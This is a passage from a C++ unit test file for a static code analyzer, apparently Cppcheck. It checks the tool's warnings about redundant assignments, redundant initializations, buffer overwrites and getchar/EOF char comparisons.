{\\n\" // #\n \" ab->data->x = 1;\\n\"\n \" ab = &ab1;\\n\"\n \" ab->data->x = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5964\n check(\"void func(char *buffer, const char *format, int precision, unsigned value) {\\n\"\n \" (precision < 0) ? sprintf(buffer, format, value) : sprintf(buffer, format, precision, value);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // don't crash\n check(\"struct data {\\n\"\n \" struct { int i; } fc;\\n\"\n \"};\\n\"\n \"struct state {\\n\"\n \" struct data d[123];\\n\"\n \"};\\n\"\n \"void func(struct state *s) {\\n\"\n \" s->foo[s->x++] = 2;\\n\"\n \" s->d[1].fc.i++;\\n\"\n \"}\");\n\n // #6525 - inline assembly\n check(\"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" asm(\\\"foo\\\");\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6555\n check(\"void foo() {\\n\"\n \" char *p = 0;\\n\"\n \" try {\\n\"\n \" p = fred();\\n\"\n \" p = wilma();\\n\"\n \" }\\n\"\n \" catch (...) {\\n\"\n \" barney(p);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char *p = 0;\\n\"\n \" try {\\n\"\n \" p = fred();\\n\"\n \" p = wilma();\\n\"\n \" }\\n\"\n \" catch (...) {\\n\"\n \" barney(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: style: The scope of the variable 'p' can be reduced. [variableScope]\\n\"\n \"[test.cpp:2:11]: style: Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" char *p = 0;\\n\"\n \" try {\\n\"\n \" if(z) {\\n\"\n \" p = fred();\\n\"\n \" p = wilma();\\n\"\n \" }\\n\"\n \" }\\n\"\n \" catch (...) {\\n\"\n \" barney(p);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Member variable pointers\n check(\"void podMemPtrs() {\\n\"\n \" int POD::*memptr;\\n\"\n \" memptr = &POD::a;\\n\"\n \" memptr = &POD::b;\\n\"\n \" if (memptr)\\n\"\n \" memptr = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: style: Variable 'memptr' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:12]: note: memptr is assigned\\n\"\n \"[test.cpp:4:12]: note: memptr is overwritten\\n\", errout_str());\n\n // Pointer function argument (#3857)\n check(\"void f(float * var)\\n\"\n \"{\\n\"\n \" var[0] = 0.2f;\\n\"\n \" var[0] = 0.2f;\\n\" // <-- is initialized twice\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: style: Variable 'var[0]' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:10]: note: var[0] is assigned\\n\"\n \"[test.cpp:4:10]: note: var[0] is overwritten\\n\", errout_str());\n\n check(\"void f(float * var)\\n\"\n \"{\\n\"\n \" *var = 0.2f;\\n\"\n \" *var = 0.2f;\\n\" // <-- is initialized twice\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:8]: style: Variable '*var' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:8]: note: *var is assigned\\n\"\n \"[test.cpp:4:8]: note: *var is overwritten\\n\", errout_str());\n\n // Volatile variables\n check(\"void f() {\\n\"\n \" volatile char *reg = (volatile char *)0x12345;\\n\"\n \" *reg = 12;\\n\"\n \" *reg = 34;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::map& m, int key, int value) {\\n\" // #6379\n \" m[key] = value;\\n\"\n \" m[key] = value;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: style: Variable 'm[key]' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:2:12]: note: m[key] is assigned\\n\"\n \"[test.cpp:3:12]: note: m[key] is overwritten\\n\",\n errout_str());\n }\n\n void redundantVarAssignment_trivial() {\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" a = 4;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a;\\n\"\n \" a = 0;\\n\"\n \" a = 4;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" unsigned a;\\n\"\n \" a = 0u;\\n\"\n \" a = 2u;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" void* a;\\n\"\n \" a = (void*)0;\\n\"\n \" a = p;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:10]: (style) Variable 'a' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" void* a;\\n\"\n \" a = (void*)0U;\\n\"\n \" a = p;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:10]: (style) Variable 'a' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n }\n\n void redundantVarAssignment_struct() {\n check(\"struct foo {\\n\"\n \" int a,b;\\n\"\n \"};\\n\"\n \"\\n\"\n \"int main() {\\n\"\n \" struct foo x;\\n\"\n \" x.a = _mm_set1_ps(1.0);\\n\"\n \" x.a = _mm_set1_ps(2.0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:7] -> [test.cpp:8:7]: (style) Variable 'x.a' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" struct AB ab;\\n\"\n \" ab.x = 23;\\n\"\n \" ab.y = 41;\\n\"\n \" ab.x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:5:8]: (style) Variable 'ab.x' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" struct AB ab = {0};\\n\"\n \" ab = foo();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_union() {\n // Ticket #5115 \"redundantAssignment when using a union\"\n check(\"void main(void)\\n\"\n \"{\\n\"\n \" short lTotal = 0;\\n\"\n \" union\\n\"\n \" {\\n\"\n \" short l1;\\n\"\n \" struct\\n\"\n \" {\\n\"\n \" unsigned char b1;\\n\"\n \" unsigned char b2;\\n\"\n \" } b;\\n\"\n \" } u;\\n\"\n \" u.l1 = 1;\\n\"\n \" lTotal += u.b.b1;\\n\"\n \" u.l1 = 2;\\n\" //Should not show RedundantAssignment\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #5115 \"redundantAssignment when using a union\"\n check(\"void main(void)\\n\"\n \"{\\n\"\n \" short lTotal = 0;\\n\"\n \" union\\n\"\n \" {\\n\"\n \" short l1;\\n\"\n \" struct\\n\"\n \" {\\n\"\n \" unsigned char b1;\\n\"\n \" unsigned char b2;\\n\"\n \" } b;\\n\"\n \" } u;\\n\"\n \" u.l1 = 1;\\n\"\n \" u.l1 = 2;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:13:10] -> [test.cpp:14:10]: (style) Variable 'u.l1' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n\n // Ticket #10093 \"redundantAssignment when using a union\"\n check(\"typedef union fixed32_union {\\n\"\n \" struct {\\n\"\n \" unsigned32 abcd;\\n\"\n \" } u32;\\n\"\n \" struct {\\n\"\n \" unsigned16 ab;\\n\"\n \" unsigned16 cd;\\n\"\n \" } u16;\"\n \" struct {\\n\"\n \" unsigned8 a;\\n\"\n \" unsigned8 b;\\n\"\n \" unsigned8 c;\\n\"\n \" unsigned8 d;\\n\"\n \" } b;\\n\"\n \"} fixed32;\\n\"\n \"void func1(void) {\\n\"\n \" fixed32 m;\\n\"\n \" m.u16.ab = 47;\\n\"\n \" m.u16.cd = 0;\\n\"\n \" m.u16.ab = m.u32.abcd / 53;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #10093 \"redundantAssignment when using a union\"\n check(\"typedef union{\\n\"\n \" char as_char[4];\\n\"\n \" int as_int;\\n\"\n \"} union_t;\\n\"\n \"void fn(char *data, int len) {\\n\"\n \" int i;\\n\"\n \" for (i = 0; i < len; i++)\\n\"\n \" data[i] = 'a';\\n\"\n \"}\\n\"\n \"int main(int argc, char *argv[]) {\\n\"\n \" union_t u;\\n\"\n \" u.as_int = 42;\\n\"\n \" fn(&u.as_char[0], 4);\\n\"\n \" u.as_int = 0;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #5115 \"redundantAssignment when using a union\"\n check(\"void foo(char *ptr) {\\n\"\n \" union {\\n\"\n \" char * s8;\\n\"\n \" unsigned long long u64;\\n\"\n \" } addr;\\n\"\n \" addr.s8 = ptr;\\n\"\n \" addr.u64 += 8;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12895\n \" int x, y;\\n\"\n \"};\\n\"\n \"union U {\\n\"\n \" S* s;\\n\"\n \"};\\n\"\n \"void f(const U& Src, const U& Dst) {\\n\"\n \" Dst.s->x = Src.s->x;\\n\"\n \" Dst.s->y = Src.s->y;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_7133() {\n // #7133\n check(\"sal_Int32 impl_Export() {\\n\"\n \" try {\\n\"\n \" try {\\n\"\n \" uno::Sequence< uno::Any > aArgs(2);\\n\"\n \" beans::NamedValue aValue;\\n\"\n \" aValue.Name = \\\"DocumentHandler\\\";\\n\"\n \" aValue.Value <<= xDocHandler;\\n\"\n \" aArgs[0] <<= aValue;\\n\"\n \" aValue.Name = \\\"Model\\\";\\n\"\n \" aValue.Value <<= xDocumentComp;\\n\"\n \" aArgs[1] <<= aValue;\\n\"\n \" }\\n\"\n \" catch (const uno::Exception&) {\\n\"\n \" }\\n\"\n \" }\\n\"\n \" catch (const uno::Exception&) {\\n\"\n \" }\\n\"\n \"}\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void ConvertBitmapData(sal_uInt16 nDestBits) {\\n\"\n \" BitmapBuffer aSrcBuf;\\n\"\n \" aSrcBuf.mnBitCount = nSrcBits;\\n\"\n \" BitmapBuffer aDstBuf;\\n\"\n \" aSrcBuf.mnBitCount = nDestBits;\\n\"\n \" bConverted = ::ImplFastBitmapConversion( aDstBuf, aSrcBuf, aTwoRects );\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:3:24] -> [test.c:5:24]: (style) Variable 'aSrcBuf.mnBitCount' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n check(\"void ConvertBitmapData(sal_uInt16 nDestBits) {\\n\"\n \" BitmapBuffer aSrcBuf;\\n\"\n \" aSrcBuf.mnBitCount = nSrcBits;\\n\"\n \" BitmapBuffer aDstBuf;\\n\"\n \" aSrcBuf.mnBitCount = nDestBits;\\n\"\n \" bConverted = ::ImplFastBitmapConversion( aDstBuf, aSrcBuf, aTwoRects );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:24] -> [test.cpp:5:24]: (style) Variable 'aSrcBuf.mnBitCount' is reassigned a value before the old one has been used. [redundantAssignment]\\n\",\n errout_str());\n\n check(\"class C { void operator=(int x); };\\n\" // #8368 - assignment operator might have side effects => inconclusive\n \"void f() {\\n\"\n \" C c;\\n\"\n \" c = x;\\n\"\n \" c = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7] -> [test.cpp:5:7]: (style, inconclusive) Variable 'c' is reassigned a value before the old one has been used if variable is no semaphore variable. [redundantAssignment]\\n\", errout_str());\n }\n\n void redundantVarAssignment_stackoverflow() {\n check(\"typedef struct message_node {\\n\"\n \" char code;\\n\"\n \" size_t size;\\n\"\n \" struct message_node *next, *prev;\\n\"\n \"} *message_list;\\n\"\n \"static message_list remove_message_from_list(message_list m) {\\n\"\n \" m->prev->next = m->next;\\n\"\n \" m->next->prev = m->prev;\\n\"\n \" return m->next;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_lambda() {\n // #7152\n check(\"int foo() {\\n\"\n \" int x = 0, y = 0;\\n\"\n \" auto f = [&]() { if (x < 5) ++y; };\\n\"\n \" x = 2;\\n\"\n \" f();\\n\"\n \" x = 6;\\n\"\n \" f();\\n\"\n \" return y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10228\n check(\"std::tuple g();\\n\"\n \"void h(int);\\n\"\n \"void f() {\\n\"\n \" auto [a, b] = g();\\n\"\n \" auto l = [a = a]() { h(i); };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_loop() {\n check(\"void f() {\\n\"\n \" char buf[10];\\n\"\n \" int i;\\n\"\n \" for (i = 0; i < 4; i++)\\n\"\n \" buf[i] = 131;\\n\"\n \" buf[i] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void bar() {\\n\" // #9262 do-while with break\n \" int x = 0;\\n\"\n \" x = 432;\\n\"\n \" do {\\n\"\n \" if (foo()) break;\\n\"\n \" x = 1;\\n\"\n \" } while (false);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int num) {\\n\" // #9420 FP\n \" int a = num;\\n\"\n \" for (int b = 0; b < num; a = b++)\\n\"\n \" dostuff(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int num) {\\n\" // #9420 FN\n \" int a = num;\\n\"\n \" for (int b = 0; b < num; a = b++);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n void redundantVarAssignment_after_switch() {\n check(\"void f(int x) {\\n\" // #7907\n \" int ret;\\n\"\n \" switch (x) {\\n\"\n \" case 123:\\n\"\n \" ret = 1;\\n\" // redundant assignment\n \" break;\\n\"\n \" }\\n\"\n \" ret = 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13] -> [test.cpp:8:9]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n }\n\n void redundantVarAssignment_pointer() {\n check(\"void f(int *ptr) {\\n\"\n \" int *x = ptr + 1;\\n\"\n \" *x = 23;\\n\"\n \" foo(ptr);\\n\"\n \" *x = 32;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8997\n check(\"void f() {\\n\"\n \" char x[2];\\n\"\n \" char* p = x;\\n\"\n \" *p = 1;\\n\"\n \" p += 1;\\n\"\n \" *p = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_pointer_parameter() {\n check(\"void f(int *p) {\\n\"\n \" *p = 1;\\n\"\n \" if (condition) return;\\n\"\n \" *p = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_array() {\n check(\"void f() {\\n\"\n \" int arr[10];\\n\"\n \" int i = 0;\\n\"\n \" arr[i] = 1;\\n\"\n \" i += 2;\\n\"\n \" arr[i] = 3;\\n\"\n \" dostuff(arr);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_switch_break() {\n // #10058\n check(\"void f(int a, int b) {\\n\"\n \" int ret = 0;\\n\"\n \" switch (a) {\\n\"\n \" case 1:\\n\"\n \" ret = 543;\\n\"\n \" if (b) break;\\n\"\n \" ret = 1;\\n\"\n \" break;\\n\"\n \" }\"\n \" return ret;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a, int b) {\\n\"\n \" int ret = 0;\\n\"\n \" switch (a) {\\n\"\n \" case 1:\\n\"\n \" ret = 543;\\n\"\n \" if (b) break;\\n\"\n \" ret = 1;\\n\"\n \" break;\\n\"\n \" }\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13] -> [test.cpp:7:13]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n }\n\n void redundantInitialization() {\n setMultiline();\n\n check(\"void f() {\\n\"\n \" int err = -ENOMEM;\\n\"\n \" err = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: style: Redundant initialization for 'err'. The initialized value is overwritten before it is read. [redundantInitialization]\\n\"\n \"[test.cpp:2:13]: note: err is initialized\\n\"\n \"[test.cpp:3:9]: note: err is overwritten\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" struct S s = {1,2,3};\\n\"\n \" s = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: style: Redundant initialization for 's'. The initialized value is overwritten before it is read. [redundantInitialization]\\n\"\n \"[test.cpp:2:16]: note: s is initialized\\n\"\n \"[test.cpp:3:7]: note: s is overwritten\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" int *p = NULL;\\n\"\n \" p = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:10]: style: Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n // \"trivial\" initialization => do not warn\n check(\"void f() {\\n\"\n \" struct S s = {0};\\n\"\n \" s = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace N { enum E {e0,e1}; }\\n\"\n \"void f() {\\n\"\n \" N::E e = N::e0;\\n\" // #9261\n \" e = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #10143\n \" std::shared_ptr i = g();\\n\"\n \" h();\\n\"\n \" i = nullptr;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& v) {\\n\" // #9815\n \" int i = g();\\n\"\n \" i = std::distance(v.begin(), std::find_if(v.begin(), v.end(), [=](int j) { return i == j; }));\\n\"\n \" return i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // cppcheck-suppress unusedPrivateFunction\n void redundantMemWrite() {\n // Simple tests\n // cppcheck-suppress unreachableCode - remove when code is enabled again\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" memcpy(a, foo, bar);\\n\"\n \" memset(a, 0, bar);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:4]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" strcpy(a, foo);\\n\"\n \" strncpy(a, 0, bar);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:4]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" sprintf(a, \\\"foo\\\");\\n\"\n \" memmove(a, 0, bar);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:4]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n check(\"void f(char *filename) {\\n\"\n \" char *p = strrchr(filename,'.');\\n\"\n \" strcpy(p, \\\"foo\\\");\\n\"\n \" dostuff(filename);\\n\"\n \" strcpy(p, \\\"foo\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Writing to different parts of a buffer\n check(\"void f(void* a) {\\n\"\n \" memcpy(a, foo, bar);\\n\"\n \" memset(a+5, 0, bar);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Use variable as second argument\n check(\"void f(void* a, void* b) {\\n\"\n \" memset(a, 0, 5);\\n\"\n \" memcpy(b, a, 5);\\n\"\n \" memset(a, 1, 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // strcat is special\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" strcpy(a, foo);\\n\"\n \" strcat(a, bar);\\n\" // Not redundant\n \" strcpy(a, x);\\n\" // Redundant\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:5]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n // Tests with function call between copy\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" snprintf(a, foo, bar);\\n\"\n \" bar();\\n\"\n \" memset(a, 0, size);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:5]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n check(\"void* a;\\n\"\n \"void f() {\\n\"\n \" memset(a, 0, size);\\n\"\n \" bar();\\n\" // Global variable might be accessed in bar()\n \" memset(a, 0, size);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" memset(a, 0, size);\\n\"\n \" bar();\\n\"\n \" memset(a, 0, size);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:5]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", \"\", errout_str());\n\n check(\"void bar(void* a) {}\\n\"\n \"void f(void* a) {\\n\"\n \" memset(a, 0, size);\\n\"\n \" bar(a);\\n\" // Passed as argument\n \" memset(a, 0, size);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Branch tests\n check(\"void f(void* a) {\\n\"\n \" memset(a, 0, size);\\n\"\n \" if(x)\\n\"\n \" memset(a, 0, size);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4455 - initialization of local buffer\n check(\"void f(void) {\"\n \" char buf[10];\\n\"\n \" memset(buf, 0, 10);\\n\"\n \" strcpy(buf, string);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(void) {\\n\"\n \" char buf[10] = {0};\\n\"\n \" memset(buf, 0, 10);\\n\"\n \" strcpy(buf, string);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:4]: (performance) Buffer 'buf' is being written before its old content has been used.\\n\", errout_str());\n\n // #5689 - use return value of strcpy\n check(\"int f(void* a) {\\n\"\n \" int i = atoi(strcpy(a, foo));\\n\"\n \" strncpy(a, 0, bar);\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7175 - read+write\n check(\"void f() {\\n\"\n \" char buf[100];\\n\"\n \" strcpy(buf, x);\\n\"\n \" strcpy(buf, dostuff(buf));\\n\" // <- read + write\n \" strcpy(buf, x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char buf[100];\\n\"\n \" strcpy(buf, x);\\n\"\n \" strcpy(buf, dostuff(buf));\\n\"\n \" strcpy(buf, x);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n void redundantAssignmentSameValue() {\n check(\"int main() {\\n\" // #11642\n \" int a = 0;\\n\"\n \" int b = a;\\n\"\n \" int c = 1;\\n\"\n \" a = b;\\n\"\n \" return a * b * c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:5:5]: (style) Variable 'a' is assigned an expression that holds the same value. [redundantAssignment]\\n\", errout_str());\n\n check(\"int main() {\\n\"\n \" int a = 0;\\n\"\n \" int b = a;\\n\"\n \" int c = 1;\\n\"\n \" a = b + 1;\\n\"\n \" return a * b * c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int main() {\\n\"\n \" int a = 0;\\n\"\n \" int b = a;\\n\"\n \" int c = 1;\\n\"\n \" a = b = 5;\\n\"\n \" return a * b * c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:5:11]: (style) Redundant initialization for 'b'. The initialized value is overwritten before it is read. [redundantInitialization]\\n\", errout_str());\n\n check(\"int f(int i) {\\n\" // #12874\n \" int j = i + 1;\\n\"\n \" if (i > 5)\\n\"\n \" j = i;\\n\"\n \" return j;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12894\n \" std::string a;\\n\"\n \" void f(const S& s);\\n\"\n \" void g(const S& s);\\n\"\n \"};\\n\"\n \"void S::f(const S& s) {\\n\"\n \" std::string x = a;\\n\"\n \" this->operator=(s);\\n\"\n \" a = x;\\n\"\n \"}\\n\"\n \"void S::g(const S& s) {\\n\"\n \" std::string x = a;\\n\"\n \" operator=(s);\\n\"\n \" a = x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varFuncNullUB() { // #4482\n check(\"void a(...);\\n\"\n \"void b() { a(NULL); }\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (portability) Passing NULL after the last typed argument to a variadic function leads to undefined behaviour. [varFuncNullUB]\\n\", errout_str());\n\n check(\"void a(char *p, ...);\\n\"\n \"void b() { a(NULL, 2); }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkCastIntToCharAndBack() { // #160\n\n // check getchar\n check(\"void f() {\\n\"\n \"unsigned char c; c = getchar();\\n\"\n \" while( c != EOF)\\n\"\n \" {\\n\"\n \" bar(c);\\n\"\n \" c = getchar();\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Storing getchar() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \"unsigned char c = getchar();\\n\"\n \" while( EOF != c)\\n\"\n \" {\\n\"\n \" bar(c);\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (warning) Storing getchar() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" unsigned char c; c = getchar();\\n\"\n \" while( EOF != c )\\n\"\n \" {\\n\"\n \" bar(c);\\n\"\n \" c = getchar();\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (warning) Storing getchar() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" unsigned char c;\\n\"\n \" while( EOF != ( c = getchar() ) )\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (warning) Storing getchar() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i; i = getchar();\\n\"\n \" while( i != EOF)\\n\"\n \" {\\n\"\n \" bar(i);\\n\"\n \" i = getchar();\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i; i = getchar();\\n\"\n \" while( EOF != i )\\n\"\n \" {\\n\"\n \" bar(i);\\n\"\n \" i = getchar();\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n // check getc\n check(\"void f (FILE * pFile){\\n\"\n \"unsigned char c;\\n\"\n \"do {\\n\"\n \" c = getc (pFile);\\n\"\n \"} while (c != EOF);\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (warning) Storing getc() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"unsigned char c;\\n\"\n \"do {\\n\"\n \" c = getc (pFile);\\n\"\n \"} while (EOF != c);\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (warning) Storing getc() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"int i;\\n\"\n \"do {\\n\"\n \" i = getc (pFile);\\n\"\n \"} while (i != EOF);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"int i;\\n\"\n \"do {\\n\"\n \" i = getc (pFile);\\n\"\n \"} while (EOF != i);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n // check fgetc\n check(\"void f (FILE * pFile){\\n\"\n \"unsigned char c;\\n\"\n \"do {\\n\"\n \" c = fgetc (pFile);\\n\"\n \"} while (c != EOF);\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (warning) Storing fgetc() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"char c;\\n\"\n \"do {\\n\"\n \" c = fgetc (pFile);\\n\"\n \"} while (EOF != c);\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (warning) Storing fgetc() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"signed char c;\\n\"\n \"do {\\n\"\n \" c = fgetc (pFile);\\n\"\n \"} while (EOF != c);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f 